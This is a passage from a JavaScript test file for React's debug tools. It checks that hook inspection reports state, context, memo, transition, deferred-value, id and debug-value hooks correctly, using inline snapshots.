\"lineNumber\": 0,\n          },\n          \"id\": 4,\n          \"isStateEditable\": false,\n          \"name\": \"LayoutEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 5,\n          \"isStateEditable\": false,\n          \"name\": \"Effect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 6,\n          \"isStateEditable\": false,\n          \"name\": \"ImperativeHandle\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 7,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"ab\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 8,\n          \"isStateEditable\": false,\n          \"name\": \"Callback\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n      ]\n    `);\n\n    await act(() => {\n      updateStates();\n    });\n\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"A\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": true,\n          \"name\": \"Reducer\",\n          \"subHooks\": [],\n          \"value\": \"B\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Ref\",\n          \"subHooks\": [],\n          \"value\": \"C\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"InsertionEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 4,\n          \"isStateEditable\": false,\n          \"name\": \"LayoutEffect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 5,\n          \"isStateEditable\": false,\n          \"name\": \"Effect\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 6,\n          \"isStateEditable\": false,\n          \"name\": \"ImperativeHandle\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 7,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"AB\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 8,\n          \"isStateEditable\": false,\n          \"name\": \"Callback\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n      ]\n    `);\n  });\n\n  it('should inspect the value of the current provider in useContext', async () => {\n    const MyContext = React.createContext('default');\n    const ThemeContext = React.createContext('default');\n    ThemeContext.displayName = 'Theme';\n    function Foo(props) {\n      const value = React.useContext(MyContext);\n      React.useContext(ThemeContext);\n      return <div>{value}</div>;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <MyContext.Provider value=\"contextual\">\n          <Foo prop=\"prop\" />\n        </MyContext.Provider>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": \"contextual\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Theme\",\n          \"subHooks\": [],\n          \"value\": \"default\",\n        },\n      ]\n    `);\n  });\n\n  // @reactVersion >= 16.8\n  it('should inspect the value of the current provider in useContext reading the same context multiple times', async () => {\n    const ContextA = React.createContext('default A');\n    const ContextB = React.createContext('default B');\n    function Foo(props) {\n      React.useContext(ContextA);\n      React.useContext(ContextA);\n      React.useContext(ContextB);\n      React.useContext(ContextB);\n      React.useContext(ContextA);\n      React.useContext(ContextB);\n      React.useContext(ContextB);\n      React.useContext(ContextB);\n      return null;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <ContextA.Provider value=\"contextual A\">\n          <Foo prop=\"prop\" />\n        </ContextA.Provider>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(normalizeSourceLoc(tree)).toEqual([\n      expect.objectContaining({value: 'contextual A'}),\n      expect.objectContaining({value: 'contextual A'}),\n      expect.objectContaining({value: 'default B'}),\n      expect.objectContaining({value: 'default B'}),\n      expect.objectContaining({value: 'contextual A'}),\n      expect.objectContaining({value: 'default B'}),\n      expect.objectContaining({value: 'default B'}),\n      expect.objectContaining({value: 'default B'}),\n    ]);\n  });\n\n  it('should inspect forwardRef', async () => {\n    const obj = function () {};\n    const Foo = React.forwardRef(function (props, ref) {\n      React.useImperativeHandle(ref, () => obj);\n      return <div />;\n    });\n    const ref = React.createRef();\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo ref={ref} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": null,\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"ImperativeHandle\",\n          \"subHooks\": [],\n          \"value\": [Function],\n        },\n      ]\n    `);\n  });\n\n  it('should inspect memo', async () => {\n    function InnerFoo(props) {\n      const [value] = React.useState('hello');\n      return <div>{value}</div>;\n    }\n    const Foo = React.memo(InnerFoo);\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    // TODO: Test renderer findByType is broken for memo. Have to search for the inner.\n    const childFiber = renderer.root.findByType(InnerFoo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"InnerFoo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n      ]\n    `);\n  });\n\n  it('should inspect custom hooks', async () => {\n    function useCustom() {\n      const [value] = React.useState('hello');\n      return value;\n    }\n    function Foo(props) {\n      const value = useCustom();\n      return <div>{value}</div>;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Custom\",\n          \"subHooks\": [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"useCustom\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 0,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"hello\",\n            },\n          ],\n          \"value\": undefined,\n        },\n      ]\n    `);\n  });\n\n  it('should support composite useTransition hook', async () => {\n    function Foo(props) {\n      React.useTransition();\n      const memoizedValue = React.useMemo(() => 'hello', []);\n      React.useMemo(() => 'not used', []);\n      return <div>{memoizedValue}</div>;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"Transition\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should update isPending returned from useTransition', async () => {\n    const IndefiniteSuspender = React.lazy(() => new Promise(() => {}));\n    let startTransition;\n    function Foo(props) {\n      const [show, setShow] = React.useState(false);\n      const [isPending, _startTransition] = React.useTransition();\n      React.useMemo(() => 'hello', []);\n      React.useMemo(() => 'not used', []);\n\n      // Otherwise we capture the version from the react-debug-tools dispatcher.\n      if (startTransition === undefined) {\n        startTransition = () => {\n          _startTransition(() => {\n            setShow(true);\n          });\n        };\n      }\n\n      return (\n        <React.Suspense fallback=\"Loading\">\n          {isPending ? 'Pending' : null}\n          {show ? <IndefiniteSuspender /> : null}\n        </React.Suspense>\n      );\n    }\n    const renderer = await act(() => {\n      return ReactTestRenderer.create(<Foo />, {unstable_isConcurrent: true});\n    });\n    expect(renderer).toMatchRenderedOutput(null);\n    let childFiber = renderer.root.findByType(Foo)._currentFiber();\n    let tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Transition\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n\n    await act(() => {\n      startTransition();\n    });\n\n    expect(renderer).toMatchRenderedOutput('Pending');\n\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Transition\",\n          \"subHooks\": [],\n          \"value\": true,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should support useDeferredValue hook', async () => {\n    function Foo(props) {\n      React.useDeferredValue('abc');\n      const memoizedValue = React.useMemo(() => 1, []);\n      React.useMemo(() => 2, []);\n      return <div>{memoizedValue}</div>;\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": false,\n          \"name\": \"DeferredValue\",\n          \"subHooks\": [],\n          \"value\": \"abc\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": 1,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": 2,\n        },\n      ]\n    `);\n  });\n\n  it('should return the deferred value', async () => {\n    let unsuspend;\n    function Lazy() {\n      return 'Lazy';\n    }\n    const Suspender = React.lazy(\n      () =>\n        new Promise(resolve => {\n          unsuspend = () => resolve({default: Lazy});\n        }),\n    );\n    const Context = React.createContext('default');\n    let setShow;\n    function Foo(props) {\n      const [show, _setShow] = React.useState(false);\n      const deferredShow = React.useDeferredValue(show);\n      const isPending = show !== deferredShow;\n      const contextDisplay = isPending ? React.use(Context) : '<none>';\n      React.useMemo(() => 'hello', []);\n      React.useMemo(() => 'not used', []);\n\n      // Otherwise we capture the version from the react-debug-tools dispatcher.\n      if (setShow === undefined) {\n        setShow = _setShow;\n      }\n\n      return (\n        <React.Suspense fallback=\"Loading\">\n          Context: {contextDisplay}, {isPending ? 'Pending' : 'Nothing Pending'}\n          {deferredShow ? [', ', <Suspender key=\"suspender\" />] : null}\n        </React.Suspense>\n      );\n    }\n    const renderer = await act(() => {\n      return ReactTestRenderer.create(\n        <Context.Provider value=\"provided\">\n          <Foo />\n        </Context.Provider>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    let childFiber = renderer.root.findByType(Foo)._currentFiber();\n    let tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(renderer).toMatchRenderedOutput('Context: <none>, Nothing Pending');\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"DeferredValue\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n\n    await act(() => {\n      setShow(true);\n    });\n\n    expect(renderer).toMatchRenderedOutput('Context: provided, Pending');\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": true,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"DeferredValue\",\n          \"subHooks\": [],\n          \"value\": false,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": null,\n          \"isStateEditable\": false,\n          \"name\": \"Context\",\n          \"subHooks\": [],\n          \"value\": \"provided\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n\n    await act(() => {\n      unsuspend();\n    });\n\n    expect(renderer).toMatchRenderedOutput(\n      'Context: <none>, Nothing Pending, Lazy',\n    );\n    childFiber = renderer.root.findByType(Foo)._currentFiber();\n    tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": true,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 1,\n          \"isStateEditable\": false,\n          \"name\": \"DeferredValue\",\n          \"subHooks\": [],\n          \"value\": true,\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 2,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"hello\",\n        },\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": 0,\n            \"fileName\": \"**\",\n            \"functionName\": \"Foo\",\n            \"lineNumber\": 0,\n          },\n          \"id\": 3,\n          \"isStateEditable\": false,\n          \"name\": \"Memo\",\n          \"subHooks\": [],\n          \"value\": \"not used\",\n        },\n      ]\n    `);\n  });\n\n  it('should support useId hook', async () => {\n    function Foo(props) {\n      const id = React.useId();\n      const [state] = React.useState('hello');\n      return <div id={id}>{state}</div>;\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    const childFiber = renderer.root.findByType(Foo)._currentFiber();\n    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n    expect(tree.length).toEqual(2);\n\n    expect(tree[0].id).toEqual(0);\n    expect(tree[0].isStateEditable).toEqual(false);\n    expect(tree[0].name).toEqual('Id');\n    expect(String(tree[0].value).startsWith('_r_')).toBe(true);\n\n    expect(normalizeSourceLoc(tree)[1]).toMatchInlineSnapshot(`\n      {\n        \"debugInfo\": null,\n        \"hookSource\": {\n          \"columnNumber\": 0,\n          \"fileName\": \"**\",\n          \"functionName\": \"Foo\",\n          \"lineNumber\": 0,\n        },\n        \"id\": 1,\n        \"isStateEditable\": true,\n        \"name\": \"State\",\n        \"subHooks\": [],\n        \"value\": \"hello\",\n      }\n    `);\n  });\n\n  describe('useMemoCache', () => {\n    it('should not be inspectable', async () => {\n      function Foo() {\n        const $ = useMemoCache(1);\n        let t0;\n\n        if ($[0] === Symbol.for('react.memo_cache_sentinel')) {\n          t0 = <div>{1}</div>;\n          $[0] = t0;\n        } else {\n          t0 = $[0];\n        }\n\n        return t0;\n      }\n\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Foo />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Foo)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n      expect(tree.length).toEqual(0);\n    });\n\n    it('should work in combination with other hooks', async () => {\n      function useSomething() {\n        const [something] = React.useState(null);\n        const changeOtherSomething = React.useCallback(() => {}, [something]);\n\n        return [something, changeOtherSomething];\n      }\n\n      function Foo() {\n        const $ = useMemoCache(10);\n\n        useSomething();\n        React.useState(1);\n        React.useEffect(() => {});\n\n        let t0;\n\n        if ($[0] === Symbol.for('react.memo_cache_sentinel')) {\n          t0 = <div>{1}</div>;\n          $[0] = t0;\n        } else {\n          t0 = $[0];\n        }\n\n        return t0;\n      }\n\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Foo />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Foo)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n\n      expect(tree.length).toEqual(3);\n    });\n  });\n\n  describe('useDebugValue', () => {\n    it('should support inspectable values for multiple custom hooks', async () => {\n      function useLabeledValue(label) {\n        const [value] = React.useState(label);\n        React.useDebugValue(`custom label ${label}`);\n        return value;\n      }\n      function useAnonymous(label) {\n        const [value] = React.useState(label);\n        return value;\n      }\n      function Example() {\n        useLabeledValue('a');\n        React.useState('b');\n        useAnonymous('c');\n        useLabeledValue('d');\n        return null;\n      }\n      let renderer;\n      await act(() => {\n        renderer = ReactTestRenderer.create(<Example />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      const childFiber = renderer.root.findByType(Example)._currentFiber();\n      const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);\n      if (__DEV__) {\n        expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`\n          [\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"LabeledValue\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useLabeledValue\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 0,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"a\",\n                },\n              ],\n              \"value\": \"custom label a\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": 1,\n              \"isStateEditable\": true,\n              \"name\": \"State\",\n              \"subHooks\": [],\n              \"value\": \"b\",\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"Anonymous\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useAnonymous\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 2,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"c\",\n                },\n              ],\n              \"value\": undefined,\n            },\n            {\n              \"debugInfo\": null,\n              \"hookSource\": {\n                \"columnNumber\": 0,\n                \"fileName\": \"**\",\n                \"functionName\": \"Example\",\n                \"lineNumber\": 0,\n              },\n              \"id\": null,\n              \"isStateEditable\": false,\n              \"name\": \"LabeledValue\",\n              \"subHooks\": [\n                {\n                  \"debugInfo\": null,\n                  \"hookSource\": {\n                    \"columnNumber\": 0,\n                    \"fileName\": \"**\",\n                    \"functionName\": \"useLabeledValue\",\n                    \"lineNumber\": 0,\n                  },\n                  \"id\": 3,\n                  \"isStateEditable\": true,\n                  \"name\": \"State\",\n                  \"subHooks\": [],\n                  \"value\": \"d\",\n                